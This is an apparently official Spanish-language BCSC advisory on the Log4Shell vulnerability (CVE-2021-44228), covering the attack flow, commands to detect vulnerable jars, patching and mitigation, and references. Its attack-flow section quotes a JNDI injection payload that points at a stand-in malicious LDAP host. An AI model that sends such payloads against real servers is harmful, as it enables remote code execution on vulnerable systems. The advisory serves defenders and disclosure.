# Vulnerabilidad Log4j (CVE-2021-44228)

BCSC-VULNERABILIDAD-LOG4J- CVE-2021-44228

TLP:WHITE

www.basquecybersecurity.eus

Diciembre 2021

# TABLA DE CONTENIDO



## Cláusula de exención de responsabilidad

El presente documento se proporciona con el objeto de divulgar las alertas que el BCSC considera necesarias en favor de la seguridad de las organizaciones y de la ciudadanía interesada. En ningún caso el BCSC puede ser considerado responsable de posibles daños que, de forma directa o indirecta, de manera fortuita o extraordinaria pueda ocasionar el uso de la información revelada, así como de las tecnologías a las que se haga referencia tanto de la web de BCSC como de información externa a la que se acceda mediante enlaces a páginas webs externas, a redes sociales, a productos de software o a cualquier otra información que pueda aparecer en la alerta o en la web de BCSC. En todo caso, los contenidos de la alerta y las contestaciones que pudieran darse a través de los diferentes correos electrónicos son opiniones y recomendaciones acorde a los términos aquí recogidos no pudiendo derivarse efecto jurídico vinculante derivado de la información comunicada.

## Cláusula de prohibición de venta

Queda terminantemente prohibida la venta u obtención de cualquier beneficio económico, sin perjuicio de la posibilidad de copia, distribución, difusión o divulgación del presente documento.

## SOBRE EL BCSC

El Centro Vasco de Ciberseguridad (Basque Cybersecurity Centre, BCSC) es la entidad designada por el Gobierno Vasco para elevar el nivel de madurez de la ciberseguridad en Euskadi.

Es una iniciativa transversal que se enmarca en la Agencia Vasca de Desarrollo Empresarial (SPRI), sociedad dependiente del Departamento de Desarrollo Económico, Sostenibilidad y Medio Ambiente del Gobierno Vasco. Así mismo, involucra a otros tres Departamentos del Gobierno Vasco: el de Seguridad, el de Gobernanza Pública y Autogobierno, y el de Educación, y a cuatro agentes de la Red Vasca de Ciencia, Tecnología e Innovación: Tecnalia, Vicomtech, Ikerlan y BCAM.


El BCSC es la entidad de referencia para el desarrollo de la ciberseguridad y de la confianza digital de ciudadanos, empresas e instituciones públicas en Euskadi, especialmente para los sectores estratégicos de la economía de la región.

La misión del BCSC es por tanto promover y desarrollar la ciberseguridad en la sociedad vasca, dinamizar la actividad empresarial de Euskadi y posibilitar la creación de un sector profesional que sea referente. En este contexto se impulsa la ejecución de proyectos de colaboración entre actores complementarios en los ámbitos de innovación tecnológica, investigación y transferencia tecnológica a la industria de fabricación avanzada y otros sectores.

Así mismo, ofrece diferentes servicios en su rol como Equipo de Respuesta a Incidentes (en adelante CERT, por sus siglas en inglés “Computer Emergency Response Team”) y trabaja en el ámbito de la Comunidad Autónoma del País Vasco para aumentar la capacidad de detección y alerta temprana de nuevas amenazas, la respuesta y análisis de incidentes de seguridad de la información, y el diseño de medidas preventivas para atender a las necesidades de la sociedad vasca. Con el fin de alcanzar estos objetivos forma parte de diferentes iniciativas orientadas a la gestión de incidentes de ciberseguridad:

# 1. RESUMEN EJECUTIVO

El 10 de diciembre se hizo pública una vulnerabilidad que afecta a Log4j, una librería de código abierto para la gestión de logs desarrollada por la Fundación Apache. Se ha registrado con el CVE-2021-44228, aunque también se le han puesto nombres como *Log4Shell* o *LogJam*. Esta vulnerabilidad ha sido corregida en la versión 2.15.0, y afecta a Log4j desde la versión 2.0 hasta la versión 2.14.1.

La vulnerabilidad se aprovecha de una validación incorrecta de la entrada al procesar solicitudes LDAP. Una explotación exitosa podría permitir la ejecución remota de código (RCE), comprometiendo la confidencialidad, integridad y disponibilidad de los sistemas vulnerables.

Aunque a nivel de usuario la utilización de Java ha disminuido durante los últimos años, un gran número de sistemas web, software empresarial o incluso servicios de Apple, Amazon, Google o Steam podrían ser vulnerables a este error.

Teniendo en cuenta la facilidad de explotación, que la vulnerabilidad está siendo explotada activamente y que se trata de un componente muy utilizado en software empresarial, habrá que estar alerta a la publicación de actualizaciones de los distintos fabricantes que utilicen este componente en sus sistemas.

## 2. ANÁLISIS TÉCNICO

La vulnerabilidad CVE-2021-44228 afecta a Apache Log4j, una librería de código abierto para la gestión de logs desarrollada por la Fundación Apache. Esta librería se utiliza ampliamente en el desarrollo de sistemas empresariales para el registro de eventos. Esta vulnerabilidad ha sido corregida en la versión 2.15.0, y afecta a Log4j desde la versión 2.0 hasta la versión 2.14.1.

La vulnerabilidad se aprovecha de una validación incorrecta de la entrada al procesar solicitudes LDAP. Una explotación exitosa podría permitir la ejecución remota de código (RCE), comprometiendo la confidencialidad, integridad y disponibilidad de los sistemas vulnerables.

La explotación se puede lograr mediante una única cadena de texto. Puede provocar que una aplicación se comunique con un host externo malicioso si se registra a través de la instancia vulnerable de Log4j, lo que le otorga al atacante la capacidad de recuperar un payload de un servidor remoto y ejecutarlo localmente. Un posible flujo de ataque puede ser el siguiente:

1. El atacante envía un parámetro manipulado al servidor (por HTTP u otro protocolo). Por ejemplo: ${jndi:ldap://sitio-malicioso.com/exp}.
2. El servidor vulnerable recibe la solicitud con el payload.
3. La vulnerabilidad en Log4j permite que el payload se ejecute y el servidor realiza una petición al sitio del atacante. La petición se realiza a través del protocolo JNDI.
4. La respuesta desde el servidor del atacante contiene un archivo Java remoto que se inyecta en el proceso que está ejecutando el servidor vulnerable.
5. Se ejecuta código en el servidor vulnerable.

Teniendo en cuenta la facilidad de explotación, que la vulnerabilidad está siendo explotada activamente y que se trata de un componente muy utilizado en software empresarial, habrá que estar alerta a la publicación de actualizaciones de los distintos fabricantes que utilicen este componente en sus sistemas. Aunque a nivel de usuario la utilización de Java ha disminuido durante los últimos años, un gran número de sistemas web, software empresarial o incluso servicios de Apple, Amazon, Google o Steam podrían ser vulnerables a este error.

Para tener más información sobre las tecnologías y componentes afectados por esta vulnerabilidad, el CERT nacional de los Países Bajos ha hecho público un listado: https://github.com/NCSC-NL/log4shell/blob/main/software/README.md

También se han realizado recopilaciones de los avisos de seguridad que han publicado los fabricantes relacionados con esta vulnerabilidad: https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

Utilizando los siguientes comando se puede comprobar si se está ejecutando Log4j:

- **Windows**: gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path
- **Linux**: find / 2>/dev/null -regex ".*.jar" -type f | xargs -I{} grep JndiLookup.class "{}"

El investigador Florian Roth ha publicado algunas formas para poder detectar la explotación de esta vulnerabilidad:
https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

También se han publicado varios listados de IPs desde las que se han detectado intentos de explotación de esta vulnerabilidad:
https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217

La agencia de ciberseguridad e infraestructuras de EEUU (CISA) ha publicado una web y un repositorio de Github en los que tratan de recopilar toda la información relevante sobre esta vulnerabilidad:

- https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance
- https://github.com/cisagov/log4j-affected-db

## 3. MITIGACIÓN / SOLUCIÓN

Como es habitual, para prevenir esta y otras vulnerabilidades, desde el BCSC se recomienda tener siempre los sistemas y aplicaciones actualizadas a la última versión disponible en cuanto se publiquen los parches correspondientes.

Desde Apache se ha lanzado la versión Log4j 2.15.0 que corrige esta vulnerabilidad. En el siguiente enlace se dispone de más información sobre cómo instalar las actualizaciones y las distintas extensiones: https://logging.apache.org/log4j/2.x/download.html

Se ha publicado una medida para mitigar el impacto de esta vulnerabilidad en versiones superiores a la 2.10: al iniciar la aplicación, pasar el comando "-Dlog4j2.formatMsgNoLookups=True" a la máquina virtual de Java.

La agencia de ciberseguridad e infraestructuras de EEUU (CISA) ha publicado una serie de referencias con consideraciones para la mitigación del impacto de esta vulnerabilidad:

- https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/
- https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
- https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
- https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/
- https://securityintelligence.com/posts/apache-log4j-zero-day-vulnerability-update/
- https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability?utm_campaign=00023584&utm_promoter=tenable-ops&utm_medium=homepage-hero&utm_content=other-rr-log4j-blog&utm_source=tenable-dot-com
- https://www.splunk.com/en_us/blog/security/log4shell-detecting-log4j-vulnerability-cve-2021-44228-continued.html
- https://blogs.vmware.com/vsphere/2021/12/vmsa-2021-0028-log4j-what-you-need-to-know.html

## 4. REFERENCIAS ADICIONALES


- Log4j RCE 0-day actively exploited | CERT NZ
- New zero-day exploit for Log4j Java library is an enterprise nightmare.
- Extremely Critical Log4J Vulnerability Leaves Much of the Internet at Risk.
- Log4j RCE 0-day actively exploited.
- Log4Shell sample vulnerable application (CVE-2021-44228).
- Download Apache Log4j 2.
- GitHub: Log4Shell sample vulnerable application.
- GitHub: CVE-2021-44228 (Apache Log4j Remote Code Execution).
- GitHub: Log4jAttackSurface.
- GitHub: expl_log4j_cve_2021_44228.yar.
- GitHub: CVE-2021-44228_IPs.
- GitHub: Security Advisories / Bulletins linked to Log4Shell.
- GitHub: local-log4j-vuln-scanner.
- GitHub: log4j-detector.
- GitHub: log4shell-detector.
- Add property to disable message pattern converter lookups.
- NIST: CVE-2021-44228.
- Apache Log4j 2.


## Reportar incidente

Si has detectado algún incidente de ciberseguridad, avísanos para que tomemos las medidas oportunas para evitar su propagación.

900 104 891

incidencias@bcsc.eus

## Catálogo de ciberseguridad

¿Necesitas ayuda con tu ciberseguridad o la de tu empresa?